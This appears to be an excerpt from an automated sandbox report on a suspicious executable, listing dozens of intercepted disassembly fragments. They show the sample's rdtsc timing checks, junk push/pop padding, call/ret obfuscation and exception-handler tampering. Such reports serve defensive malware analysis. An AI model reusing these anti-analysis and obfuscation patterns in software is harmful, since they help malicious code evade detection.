Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D0CB second address: 65D0ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8A11CF047h 0x00000008 ja 00007FF8A11CF036h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D3AA second address: 65D3BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF8A119817Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D3BE second address: 65D3C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D3C2 second address: 65D3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A119817Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D3D8 second address: 65D3DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D521 second address: 65D525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D7C3 second address: 65D7C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D7C9 second address: 65D7CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D7CF second address: 65D7D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D7D3 second address: 65D7D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D7D7 second address: 65D7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b jc 00007FF8A11CF036h 0x00000011 pop ebx 0x00000012 jmp 00007FF8A11CF042h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65D7FB second address: 65D838 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF8A119818Fh 0x00000008 jmp 00007FF8A1198183h 0x0000000d jns 00007FF8A1198176h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FF8A1198188h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65E02B second address: 65E031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65E2C2 second address: 65E2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65E2C6 second address: 65E2CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65E432 second address: 65E438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65E438 second address: 65E43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65E711 second address: 65E720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 jl 00007FF8A1198176h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 65E720 second address: 65E728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6622E9 second address: 6622F3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6622F3 second address: 6622FD instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF8A11CF03Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6612FE second address: 661308 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 663743 second address: 66375D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8A11CF045h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66375D second address: 663772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF8A119817Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 663772 second address: 66378F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007FF8A11CF03Eh 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 627401 second address: 627409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 627409 second address: 627410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 627410 second address: 627415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66ACD6 second address: 66ACDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66ACDA second address: 66ACF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FF8A1198178h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66ACF3 second address: 66ACF9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66ACF9 second address: 66AD36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FF8A1198176h 0x00000009 jmp 00007FF8A1198185h 0x0000000e popad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007FF8A1198189h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66AE74 second address: 66AE80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FF8A11CF036h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66B2B1 second address: 66B2C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF8A1198176h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66B2C2 second address: 66B2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66B2C6 second address: 66B2D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66B2D2 second address: 66B2D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66BCF9 second address: 66BD46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 086E5F3Bh 0x00000011 stc 0x00000012 call 00007FF8A1198179h 0x00000017 jo 00007FF8A119818Ah 0x0000001d pushad 0x0000001e jmp 00007FF8A1198180h 0x00000023 push edx 0x00000024 pop edx 0x00000025 popad 0x00000026 push eax 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FF8A1198184h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66BD46 second address: 66BD6C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FF8A11CF047h 0x0000000c popad 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66BD6C second address: 66BD72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66BD72 second address: 66BD7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66C8CF second address: 66C8D5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66CC05 second address: 66CC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66CC09 second address: 66CC13 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66CE6E second address: 66CE7F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66CE7F second address: 66CE85 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 66D468 second address: 66D47F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 je 00007FF8A11CF036h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jne 00007FF8A11CF036h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 628F4B second address: 628F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF8A1198176h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 671122 second address: 6711C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007FF8A11CF046h 0x0000000d pop esi 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FF8A11CF038h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Dh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c stc 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007FF8A11CF038h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 xor edi, dword ptr [ebp+122D1D29h] 0x0000004f push 00000000h 0x00000051 jmp 00007FF8A11CF045h 0x00000056 or si, 08BBh 0x0000005b push eax 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007FF8A11CF03Eh 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6711C1 second address: 6711CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FF8A1198176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6711CB second address: 6711CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 671CF3 second address: 671D1A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF8A1198186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 je 00007FF8A1198176h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 671D1A second address: 671D70 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 clc 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FF8A11CF038h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov esi, dword ptr [ebp+122D25BAh] 0x0000002c push 00000000h 0x0000002e mov edi, dword ptr [ebp+122D2DF2h] 0x00000034 xchg eax, ebx 0x00000035 push esi 0x00000036 push edx 0x00000037 jmp 00007FF8A11CF03Fh 0x0000003c pop edx 0x0000003d pop esi 0x0000003e push eax 0x0000003f jl 00007FF8A11CF04Bh 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 pop eax 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 672821 second address: 672825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67323E second address: 673244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 673E35 second address: 673E3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 677E21 second address: 677E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 677E2D second address: 677E37 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 677E37 second address: 677E41 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF8A11CF03Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6783A3 second address: 6783AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6784A4 second address: 6784AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6784AA second address: 6784AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6793D9 second address: 6793DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67A16B second address: 67A175 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6793DE second address: 67947A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11CF03Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov dword ptr [ebp+122D3881h], esi 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007FF8A11CF038h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 movzx edi, si 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov eax, dword ptr [ebp+122D0C61h] 0x00000044 jmp 00007FF8A11CF046h 0x00000049 push FFFFFFFFh 0x0000004b push 00000000h 0x0000004d push ebp 0x0000004e call 00007FF8A11CF038h 0x00000053 pop ebp 0x00000054 mov dword ptr [esp+04h], ebp 0x00000058 add dword ptr [esp+04h], 00000014h 0x00000060 inc ebp 0x00000061 push ebp 0x00000062 ret 0x00000063 pop ebp 0x00000064 ret 0x00000065 pushad 0x00000066 mov bh, 15h 0x00000068 cmc 0x00000069 popad 0x0000006a push eax 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FF8A11CF03Ch 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67947A second address: 67947E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67B0B7 second address: 67B0D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FF8A11CF03Fh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e jbe 00007FF8A11CF036h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67B0D7 second address: 67B129 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FF8A119817Ch 0x0000000b jnl 00007FF8A1198176h 0x00000011 popad 0x00000012 nop 0x00000013 or edi, 237A7156h 0x00000019 push 00000000h 0x0000001b sub di, 8B00h 0x00000020 or edi, dword ptr [ebp+122D2E82h] 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007FF8A1198178h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 sub ebx, 32660600h 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67A3F1 second address: 67A3F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67B129 second address: 67B133 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF8A1198176h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C1A9 second address: 67C1AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C1AD second address: 67C225 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF8A119817Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007FF8A119817Eh 0x00000011 push eax 0x00000012 jnl 00007FF8A1198176h 0x00000018 pop eax 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FF8A1198178h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 mov edi, edx 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D27F9h], edi 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push esi 0x00000043 call 00007FF8A1198178h 0x00000048 pop esi 0x00000049 mov dword ptr [esp+04h], esi 0x0000004d add dword ptr [esp+04h], 00000014h 0x00000055 inc esi 0x00000056 push esi 0x00000057 ret 0x00000058 pop esi 0x00000059 ret 0x0000005a movsx edi, cx 0x0000005d add dword ptr [ebp+12474A57h], ebx 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C225 second address: 67C22F instructions: 0x00000000 rdtsc 0x00000002 je 00007FF8A11CF036h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67B2F9 second address: 67B2FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67E16B second address: 67E180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11CF03Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67E180 second address: 67E184 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67E184 second address: 67E188 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67E188 second address: 67E191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C368 second address: 67C373 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FF8A11CF036h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C439 second address: 67C43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C43D second address: 67C441 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67C441 second address: 67C447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67D303 second address: 67D371 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D2698h], eax 0x00000011 mov dword ptr [ebp+122D26A5h], ecx 0x00000017 push dword ptr fs:[00000000h] 0x0000001e and di, ECA4h 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007FF8A11CF038h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 00000014h 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 mov bx, ADBDh 0x00000048 mov edi, dword ptr [ebp+122D2EF6h] 0x0000004e mov eax, dword ptr [ebp+122D10B9h] 0x00000054 mov bx, 855Bh 0x00000058 push FFFFFFFFh 0x0000005a sub dword ptr [ebp+12476C72h], edx 0x00000060 mov ebx, dword ptr [ebp+122D2C1Ah] 0x00000066 nop 0x00000067 pushad 0x00000068 push eax 0x00000069 push edx 0x0000006a pushad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 67E380 second address: 67E3AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A1198189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF8A119817Bh 0x00000011 rdtsc
